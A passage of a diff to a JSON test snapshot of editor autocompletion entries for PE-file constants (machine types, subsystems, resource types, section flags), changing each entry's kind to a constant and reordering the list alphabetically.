"insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_ARM64X", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_ARMNT", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_ARMNT", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_AXP64", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_AXP64", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_EBC", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_EBC", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_I386", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_I386", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_IA64", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_IA64", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_LOONGARCH32", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_LOONGARCH32", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_LOONGARCH64", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_LOONGARCH64", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_M32R", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_M32R", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_MIPS16", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_MIPS16", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_MIPSFPU", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_MIPSFPU", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_MIPSFPU16", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_MIPSFPU16", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_POWERPC", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_POWERPC", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_POWERPCFP", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_POWERPCFP", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "MACHINE_R3000BE", + "insertText": "MACHINE_R10000", "insertTextFormat": 2, - "kind": 5, - "label": "MACHINE_R3000BE", + "kind": 21, + "label": "MACHINE_R10000", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_R3000", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_R3000", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "MACHINE_R4000", + "insertText": "MACHINE_R3000BE", "insertTextFormat": 2, - "kind": 5, - "label": "MACHINE_R4000", + "kind": 21, + "label": "MACHINE_R3000BE", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "MACHINE_R10000", + "insertText": "MACHINE_R4000", "insertTextFormat": 2, - "kind": 5, - "label": "MACHINE_R10000", + "kind": 21, + "label": "MACHINE_R4000", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "MACHINE_RISCV32", + "insertText": "MACHINE_RISCV128", "insertTextFormat": 2, - "kind": 5, - "label": "MACHINE_RISCV32", + "kind": 21, + "label": "MACHINE_RISCV128", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "MACHINE_RISCV64", + "insertText": "MACHINE_RISCV32", "insertTextFormat": 2, - "kind": 5, - "label": "MACHINE_RISCV64", + "kind": 21, + "label": "MACHINE_RISCV32", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "MACHINE_RISCV128", + "insertText": "MACHINE_RISCV64", "insertTextFormat": 2, - "kind": 5, - "label": "MACHINE_RISCV128", + "kind": 21, + "label": "MACHINE_RISCV64", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_SH3", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_SH3", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_SH3DSP", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_SH3DSP", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_SH4", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_SH4", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_SH5", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_SH5", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_THUMB", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_THUMB", "labelDetails": { - "description": "integer" - } - }, - { - "insertText": "MACHINE_WCEMIPSV2", - "insertTextFormat": 2, - "kind": 5, - "label": "MACHINE_WCEMIPSV2", - "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "SUBSYSTEM_UNKNOWN", + "insertText": "MACHINE_UNKNOWN", "insertTextFormat": 2, - "kind": 5, - "label": "SUBSYSTEM_UNKNOWN", + "kind": 21, + "label": "MACHINE_UNKNOWN", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "SUBSYSTEM_NATIVE", + "insertText": "MACHINE_WCEMIPSV2", "insertTextFormat": 2, - "kind": 5, - "label": "SUBSYSTEM_NATIVE", + "kind": 21, + "label": "MACHINE_WCEMIPSV2", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "SUBSYSTEM_WINDOWS_GUI", + "insertText": "NET_RUN_FROM_SWAP", "insertTextFormat": 2, - "kind": 5, - "label": "SUBSYSTEM_WINDOWS_GUI", + "kind": 21, + "label": "NET_RUN_FROM_SWAP", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "SUBSYSTEM_WINDOWS_CUI", + "insertText": "NO_BIND", "insertTextFormat": 2, - "kind": 5, - "label": "SUBSYSTEM_WINDOWS_CUI", + "kind": 21, + "label": "NO_BIND", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "SUBSYSTEM_OS2_CUI", + "insertText": "NO_ISOLATION", "insertTextFormat": 2, - "kind": 5, - "label": "SUBSYSTEM_OS2_CUI", + "kind": 21, + "label": "NO_ISOLATION", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "SUBSYSTEM_POSIX_CUI", + "insertText": "NO_SEH", "insertTextFormat": 2, - "kind": 5, - "label": "SUBSYSTEM_POSIX_CUI", + "kind": 21, + "label": "NO_SEH", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "SUBSYSTEM_NATIVE_WINDOWS", + "insertText": "NX_COMPAT", "insertTextFormat": 2, - "kind": 5, - "label": "SUBSYSTEM_NATIVE_WINDOWS", + "kind": 21, + "label": "NX_COMPAT", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "SUBSYSTEM_WINDOWS_CE_GUI", + "insertText": "RELOCS_STRIPPED", "insertTextFormat": 2, - "kind": 5, - "label": "SUBSYSTEM_WINDOWS_CE_GUI", + "kind": 21, + "label": "RELOCS_STRIPPED", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "SUBSYSTEM_EFI_APPLICATION", + "insertText": "REMOVABLE_RUN_FROM_SWAP", "insertTextFormat": 2, - "kind": 5, - "label": "SUBSYSTEM_EFI_APPLICATION", + "kind": 21, + "label": "REMOVABLE_RUN_FROM_SWAP", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER", + "insertText": "RESOURCE_TYPE_ACCELERATOR", "insertTextFormat": 2, - "kind": 5, - "label": "SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER", + "kind": 21, + "label": "RESOURCE_TYPE_ACCELERATOR", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "SUBSYSTEM_EFI_RUNTIME_DRIVER", + "insertText": "RESOURCE_TYPE_ANICURSOR", "insertTextFormat": 2, - "kind": 5, - "label": "SUBSYSTEM_EFI_RUNTIME_DRIVER", + "kind": 21, + "label": "RESOURCE_TYPE_ANICURSOR", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "SUBSYSTEM_EFI_ROM_IMAGE", + "insertText": "RESOURCE_TYPE_ANIICON", "insertTextFormat": 2, - "kind": 5, - "label": "SUBSYSTEM_EFI_ROM_IMAGE", + "kind": 21, + "label": "RESOURCE_TYPE_ANIICON", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "SUBSYSTEM_XBOX", + "insertText": "RESOURCE_TYPE_BITMAP", "insertTextFormat": 2, - "kind": 5, - "label": "SUBSYSTEM_XBOX", + "kind": 21, + "label": "RESOURCE_TYPE_BITMAP", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "SUBSYSTEM_WINDOWS_BOOT_APPLICATION", + "insertText": "RESOURCE_TYPE_CURSOR", "insertTextFormat": 2, - "kind": 5, - "label": "SUBSYSTEM_WINDOWS_BOOT_APPLICATION", + "kind": 21, + "label": "RESOURCE_TYPE_CURSOR", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "IMAGE_NT_OPTIONAL_HDR32_MAGIC", + "insertText": "RESOURCE_TYPE_DIALOG", "insertTextFormat": 2, - "kind": 5, - "label": "IMAGE_NT_OPTIONAL_HDR32_MAGIC", + "kind": 21, + "label": "RESOURCE_TYPE_DIALOG", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "IMAGE_NT_OPTIONAL_HDR64_MAGIC", + "insertText": "RESOURCE_TYPE_DLGINCLUDE", "insertTextFormat": 2, - "kind": 5, - "label": "IMAGE_NT_OPTIONAL_HDR64_MAGIC", + "kind": 21, + "label": "RESOURCE_TYPE_DLGINCLUDE", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "IMAGE_ROM_OPTIONAL_HDR_MAGIC", + "insertText": "RESOURCE_TYPE_FONT", "insertTextFormat": 2, - "kind": 5, - "label": "IMAGE_ROM_OPTIONAL_HDR_MAGIC", + "kind": 21, + "label": "RESOURCE_TYPE_FONT", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "RESOURCE_TYPE_CURSOR", + "insertText": "RESOURCE_TYPE_FONTDIR", "insertTextFormat": 2, - "kind": 5, - "label": "RESOURCE_TYPE_CURSOR", + "kind": 21, + "label": "RESOURCE_TYPE_FONTDIR", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "RESOURCE_TYPE_BITMAP", + "insertText": "RESOURCE_TYPE_GROUP_CURSOR", "insertTextFormat": 2, - "kind": 5, - "label": "RESOURCE_TYPE_BITMAP", + "kind": 21, + "label": "RESOURCE_TYPE_GROUP_CURSOR", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "RESOURCE_TYPE_ICON", + "insertText": "RESOURCE_TYPE_GROUP_ICON", "insertTextFormat": 2, - "kind": 5, - "label": "RESOURCE_TYPE_ICON", + "kind": 21, + "label": "RESOURCE_TYPE_GROUP_ICON", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "RESOURCE_TYPE_MENU", + "insertText": "RESOURCE_TYPE_HTML", "insertTextFormat": 2, - "kind": 5, - "label": "RESOURCE_TYPE_MENU", + "kind": 21, + "label": "RESOURCE_TYPE_HTML", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "RESOURCE_TYPE_DIALOG", + "insertText": "RESOURCE_TYPE_ICON", "insertTextFormat": 2, - "kind": 5, - "label": "RESOURCE_TYPE_DIALOG", + "kind": 21, + "label": "RESOURCE_TYPE_ICON", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "RESOURCE_TYPE_STRING", + "insertText": "RESOURCE_TYPE_MANIFEST", "insertTextFormat": 2, - "kind": 5, - "label": "RESOURCE_TYPE_STRING", + "kind": 21, + "label": "RESOURCE_TYPE_MANIFEST", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "RESOURCE_TYPE_FONTDIR", + "insertText": "RESOURCE_TYPE_MENU", "insertTextFormat": 2, - "kind": 5, - "label": "RESOURCE_TYPE_FONTDIR", + "kind": 21, + "label": "RESOURCE_TYPE_MENU", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "RESOURCE_TYPE_FONT", + "insertText": "RESOURCE_TYPE_MESSAGETABLE", "insertTextFormat": 2, - "kind": 5, - "label": "RESOURCE_TYPE_FONT", + "kind": 21, + "label": "RESOURCE_TYPE_MESSAGETABLE", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "RESOURCE_TYPE_ACCELERATOR", + "insertText": "RESOURCE_TYPE_PLUGPLAY", "insertTextFormat": 2, - "kind": 5, - "label": "RESOURCE_TYPE_ACCELERATOR", + "kind": 21, + "label": "RESOURCE_TYPE_PLUGPLAY", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "RESOURCE_TYPE_RCDATA", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "RESOURCE_TYPE_RCDATA", "labelDetails": { - "description": "integer" - } - }, - { - "insertText": "RESOURCE_TYPE_MESSAGETABLE", - "insertTextFormat": 2, - "kind": 5, - "label": "RESOURCE_TYPE_MESSAGETABLE", - "labelDetails": { - "description": "integer" - } - }, - { - "insertText": "RESOURCE_TYPE_GROUP_CURSOR", - "insertTextFormat": 2, - "kind": 5, - "label": "RESOURCE_TYPE_GROUP_CURSOR", - "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "RESOURCE_TYPE_GROUP_ICON", + "insertText": "RESOURCE_TYPE_STRING", "insertTextFormat": 2, - "kind": 5, - "label": "RESOURCE_TYPE_GROUP_ICON", + "kind": 21, + "label": "RESOURCE_TYPE_STRING", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "RESOURCE_TYPE_VERSION", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "RESOURCE_TYPE_VERSION", "labelDetails": { - "description": "integer" - } - }, - { - "insertText": "RESOURCE_TYPE_DLGINCLUDE", - "insertTextFormat": 2, - "kind": 5, - "label": "RESOURCE_TYPE_DLGINCLUDE", - "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "RESOURCE_TYPE_PLUGPLAY", + "insertText": "RESOURCE_TYPE_VXD", "insertTextFormat": 2, - "kind": 5, - "label": "RESOURCE_TYPE_PLUGPLAY", + "kind": 21, + "label": "RESOURCE_TYPE_VXD", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "RESOURCE_TYPE_VXD", + "insertText": "SECTION_ALIGN_1024BYTES", "insertTextFormat": 2, - "kind": 5, - "label": "RESOURCE_TYPE_VXD", + "kind": 21, + "label": "SECTION_ALIGN_1024BYTES", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "RESOURCE_TYPE_ANICURSOR", + "insertText": "SECTION_ALIGN_128BYTES", "insertTextFormat": 2, - "kind": 5, - "label": "RESOURCE_TYPE_ANICURSOR", + "kind": 21, + "label": "SECTION_ALIGN_128BYTES", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "RESOURCE_TYPE_ANIICON", + "insertText": "SECTION_ALIGN_16BYTES", "insertTextFormat": 2, - "kind": 5, - "label": "RESOURCE_TYPE_ANIICON", + "kind": 21, + "label": "SECTION_ALIGN_16BYTES", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "RESOURCE_TYPE_HTML", + "insertText": "SECTION_ALIGN_1BYTES", "insertTextFormat": 2, - "kind": 5, - "label": "RESOURCE_TYPE_HTML", + "kind": 21, + "label": "SECTION_ALIGN_1BYTES", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "RESOURCE_TYPE_MANIFEST", + "insertText": "SECTION_ALIGN_2048BYTES", "insertTextFormat": 2, - "kind": 5, - "label": "RESOURCE_TYPE_MANIFEST", + "kind": 21, + "label": "SECTION_ALIGN_2048BYTES", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "IMPORT_STANDARD", + "insertText": "SECTION_ALIGN_256BYTES", "insertTextFormat": 2, - "kind": 5, - "label": "IMPORT_STANDARD", + "kind": 21, + "label": "SECTION_ALIGN_256BYTES", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "IMPORT_DELAYED", + "insertText": "SECTION_ALIGN_2BYTES", "insertTextFormat": 2, - "kind": 5, - "label": "IMPORT_DELAYED", + "kind": 21, + "label": "SECTION_ALIGN_2BYTES", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "IMPORT_ANY", + "insertText": "SECTION_ALIGN_32BYTES", "insertTextFormat": 2, - "kind": 5, - "label": "IMPORT_ANY", + "kind": 21, + "label": "SECTION_ALIGN_32BYTES", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "RELOCS_STRIPPED", + "insertText": "SECTION_ALIGN_4096BYTES", "insertTextFormat": 2, - "kind": 5, - "label": "RELOCS_STRIPPED", + "kind": 21, + "label": "SECTION_ALIGN_4096BYTES", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "EXECUTABLE_IMAGE", + "insertText": "SECTION_ALIGN_4BYTES", "insertTextFormat": 2, - "kind": 5, - "label": "EXECUTABLE_IMAGE", + "kind": 21, + "label": "SECTION_ALIGN_4BYTES", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "LINE_NUMS_STRIPPED", + "insertText": "SECTION_ALIGN_512BYTES", "insertTextFormat": 2, - "kind": 5, - "label": "LINE_NUMS_STRIPPED", + "kind": 21, + "label": "SECTION_ALIGN_512BYTES", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "LOCAL_SYMS_STRIPPED", + "insertText": "SECTION_ALIGN_64BYTES", "insertTextFormat": 2, - "kind": 5, - "label": "LOCAL_SYMS_STRIPPED", + "kind": 21, + "label": "SECTION_ALIGN_64BYTES", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "AGGRESIVE_WS_TRIM", + "insertText": "SECTION_ALIGN_8192BYTES", "insertTextFormat": 2, - "kind": 5, - "label": "AGGRESIVE_WS_TRIM", + "kind": 21, + "label": "SECTION_ALIGN_8192BYTES", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "LARGE_ADDRESS_AWARE", + "insertText": "SECTION_ALIGN_8BYTES", "insertTextFormat": 2, - "kind": 5, - "label": "LARGE_ADDRESS_AWARE", + "kind": 21, + "label": "SECTION_ALIGN_8BYTES", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "BYTES_REVERSED_LO", + "insertText": "SECTION_ALIGN_MASK", "insertTextFormat": 2, - "kind": 5, - "label": "BYTES_REVERSED_LO", + "kind": 21, + "label": "SECTION_ALIGN_MASK", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "MACHINE_32BIT", + "insertText": "SECTION_CNT_CODE", "insertTextFormat": 2, - "kind": 5, - "label": "MACHINE_32BIT", + "kind": 21, + "label": "SECTION_CNT_CODE", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "DEBUG_STRIPPED", + "insertText": "SECTION_CNT_INITIALIZED_DATA", "insertTextFormat": 2, - "kind": 5, - "label": "DEBUG_STRIPPED", + "kind": 21, + "label": "SECTION_CNT_INITIALIZED_DATA", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "REMOVABLE_RUN_FROM_SWAP", + "insertText": "SECTION_CNT_UNINITIALIZED_DATA", "insertTextFormat": 2, - "kind": 5, - "label": "REMOVABLE_RUN_FROM_SWAP", + "kind": 21, + "label": "SECTION_CNT_UNINITIALIZED_DATA", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "NET_RUN_FROM_SWAP", + "insertText": "SECTION_GPREL", "insertTextFormat": 2, - "kind": 5, - "label": "NET_RUN_FROM_SWAP", + "kind": 21, + "label": "SECTION_GPREL", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "SYSTEM", + "insertText": "SECTION_LNK_COMDAT", "insertTextFormat": 2, - "kind": 5, - "label": "SYSTEM", + "kind": 21, + "label": "SECTION_LNK_COMDAT", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "DLL", + "insertText": "SECTION_LNK_INFO", "insertTextFormat": 2, - "kind": 5, - "label": "DLL", + "kind": 21, + "label": "SECTION_LNK_INFO", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "UP_SYSTEM_ONLY", + "insertText": "SECTION_LNK_NRELOC_OVFL", "insertTextFormat": 2, - "kind": 5, - "label": "UP_SYSTEM_ONLY", + "kind": 21, + "label": "SECTION_LNK_NRELOC_OVFL", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "BYTES_REVERSED_HI", + "insertText": "SECTION_LNK_OTHER", "insertTextFormat": 2, - "kind": 5, - "label": "BYTES_REVERSED_HI", + "kind": 21, + "label": "SECTION_LNK_OTHER", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "IMAGE_DIRECTORY_ENTRY_EXPORT", + "insertText": "SECTION_LNK_REMOVE", "insertTextFormat": 2, - "kind": 5, - "label": "IMAGE_DIRECTORY_ENTRY_EXPORT", + "kind": 21, + "label": "SECTION_LNK_REMOVE", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "IMAGE_DIRECTORY_ENTRY_IMPORT", + "insertText": "SECTION_MEM_DISCARDABLE", "insertTextFormat": 2, - "kind": 5, - "label": "IMAGE_DIRECTORY_ENTRY_IMPORT", + "kind": 21, + "label": "SECTION_MEM_DISCARDABLE", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "IMAGE_DIRECTORY_ENTRY_RESOURCE", + "insertText": "SECTION_MEM_EXECUTE", "insertTextFormat": 2, - "kind": 5, - "label": "IMAGE_DIRECTORY_ENTRY_RESOURCE", + "kind": 21, + "label": "SECTION_MEM_EXECUTE", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "IMAGE_DIRECTORY_ENTRY_EXCEPTION", + "insertText": "SECTION_MEM_NOT_CACHED", "insertTextFormat": 2, - "kind": 5, - "label": "IMAGE_DIRECTORY_ENTRY_EXCEPTION", + "kind": 21, + "label": "SECTION_MEM_NOT_CACHED", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "IMAGE_DIRECTORY_ENTRY_SECURITY", + "insertText": "SECTION_MEM_NOT_PAGED", "insertTextFormat": 2, - "kind": 5, - "label": "IMAGE_DIRECTORY_ENTRY_SECURITY", + "kind": 21, + "label": "SECTION_MEM_NOT_PAGED", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "IMAGE_DIRECTORY_ENTRY_BASERELOC", + "insertText": "SECTION_MEM_READ", "insertTextFormat": 2, - "kind": 5, - "label": "IMAGE_DIRECTORY_ENTRY_BASERELOC", + "kind": 21, + "label": "SECTION_MEM_READ", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "IMAGE_DIRECTORY_ENTRY_DEBUG", + "insertText": "SECTION_MEM_SHARED", "insertTextFormat": 2, - "kind": 5, - "label": "IMAGE_DIRECTORY_ENTRY_DEBUG", + "kind": 21, + "label": "SECTION_MEM_SHARED", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "IMAGE_DIRECTORY_ENTRY_COPYRIGHT", + "insertText": "SECTION_MEM_WRITE", "insertTextFormat": 2, - "kind": 5, - "label": "IMAGE_DIRECTORY_ENTRY_COPYRIGHT", + "kind": 21, + "label": "SECTION_MEM_WRITE", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "IMAGE_DIRECTORY_ENTRY_ARCHITECTURE", + "insertText": "SECTION_NO_DEFER_SPEC_EXC", "insertTextFormat": 2, - "kind": 5, - "label": "IMAGE_DIRECTORY_ENTRY_ARCHITECTURE", + "kind": 21, + "label": "SECTION_NO_DEFER_SPEC_EXC", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "IMAGE_DIRECTORY_ENTRY_GLOBALPTR", + "insertText": "SECTION_NO_PAD", "insertTextFormat": 2, - "kind": 5, - "label": "IMAGE_DIRECTORY_ENTRY_GLOBALPTR", + "kind": 21, + "label": "SECTION_NO_PAD", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "IMAGE_DIRECTORY_ENTRY_TLS", + "insertText": "SECTION_SCALE_INDEX", "insertTextFormat": 2, - "kind": 5, - "label": "IMAGE_DIRECTORY_ENTRY_TLS", + "kind": 21, + "label": "SECTION_SCALE_INDEX", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG", + "insertText": "SUBSYSTEM_EFI_APPLICATION", "insertTextFormat": 2, - "kind": 5, - "label": "IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG", + "kind": 21, + "label": "SUBSYSTEM_EFI_APPLICATION", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT", + "insertText": "SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER", "insertTextFormat": 2, - "kind": 5, - "label": "IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT", + "kind": 21, + "label": "SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "IMAGE_DIRECTORY_ENTRY_IAT", + "insertText": "SUBSYSTEM_EFI_ROM_IMAGE", "insertTextFormat": 2, - "kind": 5, - "label": "IMAGE_DIRECTORY_ENTRY_IAT", + "kind": 21, + "label": "SUBSYSTEM_EFI_ROM_IMAGE", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT", + "insertText": "SUBSYSTEM_EFI_RUNTIME_DRIVER", "insertTextFormat": 2, - "kind": 5, - "label": "IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT", + "kind": 21, + "label": "SUBSYSTEM_EFI_RUNTIME_DRIVER", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR", + "insertText": "SUBSYSTEM_NATIVE", "insertTextFormat": 2, - "kind": 5, - "label": "IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR", + "kind": 21, + "label": "SUBSYSTEM_NATIVE", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "SECTION_NO_PAD", + "insertText": "SUBSYSTEM_NATIVE_WINDOWS", "insertTextFormat": 2, - "kind": 5, - "label": "SECTION_NO_PAD", + "kind": 21, + "label": "SUBSYSTEM_NATIVE_WINDOWS", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "SECTION_CNT_CODE", + "insertText": "SUBSYSTEM_OS2_CUI", "insertTextFormat": 2, - "kind": 5, - "label": "SECTION_CNT_CODE", + "kind": 21, + "label": "SUBSYSTEM_OS2_CUI", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "SECTION_CNT_INITIALIZED_DATA", + "insertText": "SUBSYSTEM_POSIX_CUI", "insertTextFormat": 2, - "kind": 5, - "label": "SECTION_CNT_INITIALIZED_DATA", + "kind": 21, + "label": "SUBSYSTEM_POSIX_CUI", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "SECTION_CNT_UNINITIALIZED_DATA", + "insertText": "SUBSYSTEM_UNKNOWN", "insertTextFormat": 2, - "kind": 5, - "label": "SECTION_CNT_UNINITIALIZED_DATA", + "kind": 21, + "label": "SUBSYSTEM_UNKNOWN", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "SECTION_LNK_OTHER", + "insertText": "SUBSYSTEM_WINDOWS_BOOT_APPLICATION", "insertTextFormat": 2, - "kind": 5, - "label": "SECTION_LNK_OTHER", + "kind": 21, + "label": "SUBSYSTEM_WINDOWS_BOOT_APPLICATION", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "SECTION_LNK_INFO", + "insertText": "SUBSYSTEM_WINDOWS_CE_GUI", "insertTextFormat": 2, - "kind": 5, - "label": "SECTION_LNK_INFO", + "kind": 21, + "label": "SUBSYSTEM_WINDOWS_CE_GUI", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "SECTION_LNK_REMOVE", + "insertText": "SUBSYSTEM_WINDOWS_CUI", "insertTextFormat": 2, - "kind": 5, - "label": "SECTION_LNK_REMOVE", + "kind": 21, + "label": "SUBSYSTEM_WINDOWS_CUI", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "SECTION_LNK_COMDAT", + "insertText": "SUBSYSTEM_WINDOWS_GUI", "insertTextFormat": 2, - "kind": 5, - "label": "SECTION_LNK_COMDAT", + "kind": 21, + "label": "SUBSYSTEM_WINDOWS_GUI", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "SECTION_NO_DEFER_SPEC_EXC", + "insertText": "SUBSYSTEM_XBOX", "insertTextFormat": 2, - "kind": 5, - "label": "SECTION_NO_DEFER_SPEC_EXC", + "kind": 21, + "label": "SUBSYSTEM_XBOX", "labelDetails": { - 